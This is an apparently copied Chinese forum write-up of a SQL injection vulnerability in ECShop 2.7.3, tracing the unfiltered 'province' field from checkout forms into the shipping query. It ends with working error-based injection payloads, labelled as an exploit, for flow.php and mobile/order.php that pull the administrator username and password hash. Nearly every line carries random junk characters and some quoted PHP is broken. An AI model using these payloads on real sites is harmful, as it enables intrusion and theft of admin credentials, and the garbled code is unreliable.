前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。/ }2 h E2 w i% }
; p0 o* L' V8 V1 X* v t/ p 漏洞关键文件:
: m/ K. ~4 @! x
% L2 L7 {! k' [0 @9 b7 F9 t /includes/lib_order.php
& L0 F/ k1 a7 q7 ^ `0 o# S {1 c
; ] ?# t: l' b0 a, I3 D 关键函数:+ t2 @! ]+ \7 E: i3 j5 Z; R% p
4 j* }* |6 x t/ x2 g4 ^
% T- l6 v) |+ n6 n8 Q, j+ Q, ?; `7 o
01 function available_shipping_list($region_id_list) ' s0 L6 ?! G5 A! `& n* H
! i T. r3 J; z! V" ?02 { / E) g. x/ h, D
: O" Z% ^ h$ q" T/ l0 M! z2 n03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 g4 f4 Q; V' u' E
; z( [8 {4 q; t8 N% W% T
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
! J8 p, p/ l! X$ Y; Q6 Q
! G5 O9 V d# Z1 _' K% l05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " T+ ?3 p7 M8 X! S$ d
0 \* I* O @' @% E2 `* C06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 Y5 L( D2 z" Z+ V$ x3 z J$ g8 Y% k, b, b" J, F& r- q) {
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
6 i2 m% A5 X6 \: y0 ~% z- |* P; p+ Z$ A! v. l, [2 a# a
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 2 ^: C1 x K$ t3 I4 } m
+ k, \ ^9 P6 K- J k" [% p/ q" E
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
! C- w+ ]$ h! {! ?" r$ m( _/ b3 G& Y% k( B F3 p
10
' `& E! f6 j- ?7 [$ x( [+ U+ q6 I) t! d, Q; c! ?; r/ f
11 return $GLOBALS['db']->getAll($sql); 6 N2 x) z5 _7 i Q/ A9 u
$ i& {/ ~0 w* s12 }
% C/ f% p5 ^, u6 N1 x
8 _4 _! Z$ ], Q显然对传入的参数没有任何过滤就带入了查询语句。
' l. Y5 i" R! A5 X& v
5 q ^* v2 x4 K5 f+ C下面我们追踪这个函数在flow.php中:' W/ q: X- C: B# X9 o4 b
第531行: ! P& o* E3 ]; g! }
0 z) V b/ ]& D$ O8 r% j
1 $shipping_list = available_shipping_list($region); ( j' f$ h/ y M8 I0 t& z
. C% g. t1 s+ i' ` ' L4 J9 M, A0 k. T2 g( |
7 N7 [( \2 a! r. I & w6 g3 _) u: H2 g Z ~
/ t4 e, N, ?$ |4 o
再对传入变量进行追踪:
( V3 M% d$ h9 L0 n$ Z( r' r- R& X5 J/ {% W [
第530行: - ~7 K% o1 V3 ?2 s
1 n+ M; w( F( G% ?2 r6 M {
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 t/ Q: s9 D0 f( e, @6 W0 c- A! R! \- _% Z# T6 m
1 r1 m% i# W( K6 h6 n; E- ^5 m( x7 |7 J4 d
. Q* Q8 R% b$ {2 T4 b; _. e- i# U0 x* X* O9 n: y! `% W+ E
第473行: Q* A! \' `8 W7 Z9 r: B6 V/ r5 n
! N* L0 O( |% U1 R( H+ y; z# e
1 $consignee = get_consignee($_SESSION['user_id']);
2 ?8 r- v4 t% x b) d/ ^3 z. S! {1 {7 q: H; X3 d2 @! v
到了一个关键函数:' m$ G; s5 q/ E" N- H. F9 R0 H& v
6 ]0 q. E6 e: `2 G6 H/includes/lib_order.php4 x* x4 s4 ~7 d4 B* h9 q; x" @
+ o! J& O$ @8 a( u+ j7 R; H# h , y# U* W$ C: v5 G+ A% q0 `
: Y- e% W( l S# P5 J- Z9 W* u4 d: `
, A# D3 F. x5 E" r' Q1 y% T
) i1 b; R* e2 }) M5 Y" m01 function get_consignee($user_id) ! ~6 D. i; o* {9 V8 t2 }# ?' s" ~
, p" G$ m _$ R' _4 F
02 { , m; Q8 g* [) B4 O8 D
/ |. L" W8 h2 i) B0 q/ c8 f03 if (isset($_SESSION['flow_consignee']))
# g0 t% k7 O9 v$ C
" p+ ~5 A: z3 @04 { * W4 A ~& x% q. R c& m" e2 G
4 Q4 r G/ C! A1 [, I: d05 /* 如果存在session,则直接返回session中的收货人信息 */
0 B* V. o2 r4 `
, m6 a! J, U+ ~8 E0 y2 D06
: |3 L! H7 `4 F/ _3 N+ |! q& K, H' h1 L
07 return $_SESSION['flow_consignee']; : p! A7 u; {9 s9 s- t2 a5 a
7 a9 p( D* n: K2 A6 q' B: p8 ^
08 } 7 M6 R5 m* ~% E: S" a- v
* c: N m3 Y& y% H% r
09 else " k2 }7 u i9 N
( s4 }( w5 H7 E* \$ ]* \/ f
10 {
. b1 R8 N6 i9 U
. E9 U1 y8 W5 O# N& }11 /* 如果不存在,则取得用户的默认收货人信息 */ # K! E' P" i2 J) X9 Z( d( d- l( c( @
% C4 i) S: l% B3 i$ h
12 $arr = array();
6 T" b+ k2 B/ h$ Q
/ D, w8 J( f! Z7 m; B1 B13
1 p9 t3 g2 g# N5 j5 d% j7 @0 T; y3 W( Y. _
14 if ($user_id > 0)
& X! H% Z0 W' l9 e) t/ G$ u- X4 `' w8 d. S% z* r# H5 S
15 { 1 o1 ?# [6 x/ r. W
1 h! h; t. e( W
16 /* 取默认地址 */ 7 r d# I7 X) K4 P
- W7 h6 U* s4 v x: e17 $sql = "SELECT ua.*".
' j1 h6 p: N a" F6 @1 Z- u% g) R ^1 n- ?
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. + n8 G6 D9 y; |& U6 \
7 q$ ^# ]8 p; s9 H
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ' O2 K4 e6 P) d7 V
# N* R8 G$ w( P# b) E! `7 P
20 ; G6 H0 c; J8 k# Z# [4 n
" W' y/ S: m$ i7 \7 a5 ?21 $arr = $GLOBALS['db']->getRow($sql);
) z( J; w) F) `1 {( u6 f& h, S
: `3 B( t; |5 Z* m5 j+ I ~22 }
" V: ~0 f; C+ b: u5 k- }/ g+ P# `! S3 a# s7 [% C* V
23 5 m" L- b7 @7 n/ W8 p( T' K6 S
5 \) a3 X1 l" ^. Q
24 return $arr; 2 C( \- g- ~( J- c! [
: P+ L: _3 O/ B# @' c8 i' F1 K25 } # J/ W* Z2 e( a* @* I) v
! d0 @' o& H4 V K# e6 h! e26 } / n1 E# T/ B; A1 x" u3 @7 E
6 j4 @0 R* @4 T* _
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?- W6 A$ C9 C" Y$ Z$ [3 f7 o
. b( k/ J ^9 u8 G$ Y- c8 ]
5 }+ B) |# S# H! o) x2 b0 j8 Y. \' N* l/ m1 b1 ]
关键点:
% T! D C4 P' g/ u4 u& n( a& e# j, Z( {0 H0 V" G8 k) Q
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);* k R8 U9 @6 y } y6 q
) q6 O4 S2 R; K0 r& a' y6 C8 h3 i0 R
这里对传入参数反转义存入$_SESSION中。 ~! x. _; ?- w
0 N5 x# A4 D) z5 s9 V. {8 C
: b7 j8 g) R) W$ l
; K. W( P, C6 t, Y7 U然后看下:+ ]" Z$ _8 X, z5 p% A
0 r$ T; ~6 s, X+ m# {! V. `
, C( i. D8 e/ s/ l7 k
/ z, i+ B- P% h( t2 g 4 G* b" Y5 c% @9 E
9 K$ N I" a3 b4 G) {* z0 V
01 $consignee = array(
$ V& o; L% h; H. ^/ M
- X- T e* H" u8 _02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 2 T4 w- T) h4 W1 q
) r j6 p# {+ d# z
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
, w7 C% {/ c: ?4 o. Y% \: ^) Z% d8 k. }- V# ]( c) ~* a7 R; P# [! U
04 'country' => empty($_POST['country']) ? '' _POST['country'], 4 o$ h$ ^0 g! D! v. A( @1 C8 P
4 a2 a( {/ q6 d8 ~2 }6 O/ [8 `) r
05 'province' => empty($_POST['province']) ? '' _POST['province'], # x& J6 I: F& d+ @1 T5 \
+ d: L8 m, w" a
06 'city' => empty($_POST['city']) ? '' _POST['city'],
- P0 T5 t E1 Q3 S
; \* I8 x2 c$ N$ n- |8 h, k2 A07 'district' => empty($_POST['district']) ? '' _POST['district'],
6 }8 d8 \5 h/ E; m
% k0 M" G, X" X7 q08 'email' => empty($_POST['email']) ? '' _POST['email'], ! p" R% L! f( Z+ F5 Q7 T# v3 A
$ Q4 T! i* I ^0 V2 |! }09 'address' => empty($_POST['address']) ? '' _POST['address'], # C# ^( C) Z9 G! y' l* Q
' i; f9 R! ^! P( E
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 3 }( ?4 @' H# I& a
1 C+ D8 g J1 P p11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 6 i' D' p. ^$ o
3 N, C3 W9 ~5 @& K2 G( h' U& f2 O' C" B7 d
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
0 H" k# S' d' ]! c! z: |
$ V( t7 H8 [; A) {13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], , c, O+ S+ J" m0 X5 J9 n U
1 R$ E) |* \9 M. u+ g$ {14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], " V$ G' A, n* q* _& r# f/ Y! Z2 j3 w
% D0 l0 w5 _. g
15 ); 4 A8 m9 Z" a$ n2 Y
% {5 o/ c! s7 D% B5 I4 W8 n/ o
好了注入就这样出现了。" }* x7 T8 O( k9 U4 d: ]1 ~
) ?9 A) d2 B% X
==================
2 B# n# b4 Z+ K
! T3 j, l- P# A9 _5 @ L: E注入测试: z8 l# c* g8 d! N% Q! O
6 X/ t' [' t- J5 @% D环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)0 K5 f! Y% |9 n. L) W" I# C
% j; p- }3 o9 t. A
测试程序:ECShop_V2.7.3_UTF8_release1106
3 [0 a+ o6 u) N5 l" d& j- s; o3 }+ ~3 Y4 b
; D j" j2 F: f) X
$ r G% i2 }3 b- L
1.首先需要点击一个商品加入购物车5 C8 s# Z4 _+ I8 v/ Z
1 z; i9 S; i( N+ `
2.注册一个会员帐号' \* p% T* V( q( ]; D
- P. I$ X. r7 _+ l d3 U3.post提交数据+ M; S. S7 n) x* `% U4 R3 e1 u
. _* k8 m; h" G" s9 | ! |7 e+ P6 Z- g" l* D
( n: A7 C& H( Q" r
1 http://127.0.0.1/ecshop/flow.php - ~0 b* Y8 f" p4 P
/ x: j' e8 Y, R' L4 |2
( R% X0 ^" T- F7 R* v4 Q; P1 ~% E& `' T' e h
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
F0 |1 I6 T0 l4 @: \2 K举一反三,我们根据这个漏洞我们可以继续深入挖掘:8 V$ c% F7 i4 E0 | G$ i5 }
) L6 i) K9 J' M" b. w, @3 U: j
我们搜寻关键函数function available_shipping_list()
\% @; i, e5 K9 {* D* Y% P# f1 i! x) f$ L. A$ n
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
2 h! c B1 Z+ `7 r
' O( K* B0 c. R/ {5 b利用exp:
' L2 I! r g0 j/ M D
Y A- {, j( w4 q! W- t, ^% g1.点击一个商品,点击购买商标
: q: Y& U$ h: v" F2 r. b! ~. Q0 y$ U' `6 ]
2.登录会员帐号8 m2 Q3 f0 S+ R9 R
8 B. ?- r9 i2 ?0 L: o7 ^3.post提交:8 i/ W- B3 _# I* i
& r) A5 _/ `2 L3 g
http://127.0.0.1/ecshop/mobile/order.php
9 w. Z1 C: {0 m! `% c- t Y7 d
6 z6 x8 j2 p$ b# k6 v+ s
5 E* ? j6 H5 R7 v) F: V- S
8 U6 e: k+ e0 x! J' f2 Tcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& m' V3 i$ I4 j* T6 [8 @) d
4 K* L. [5 N. ~+ _ |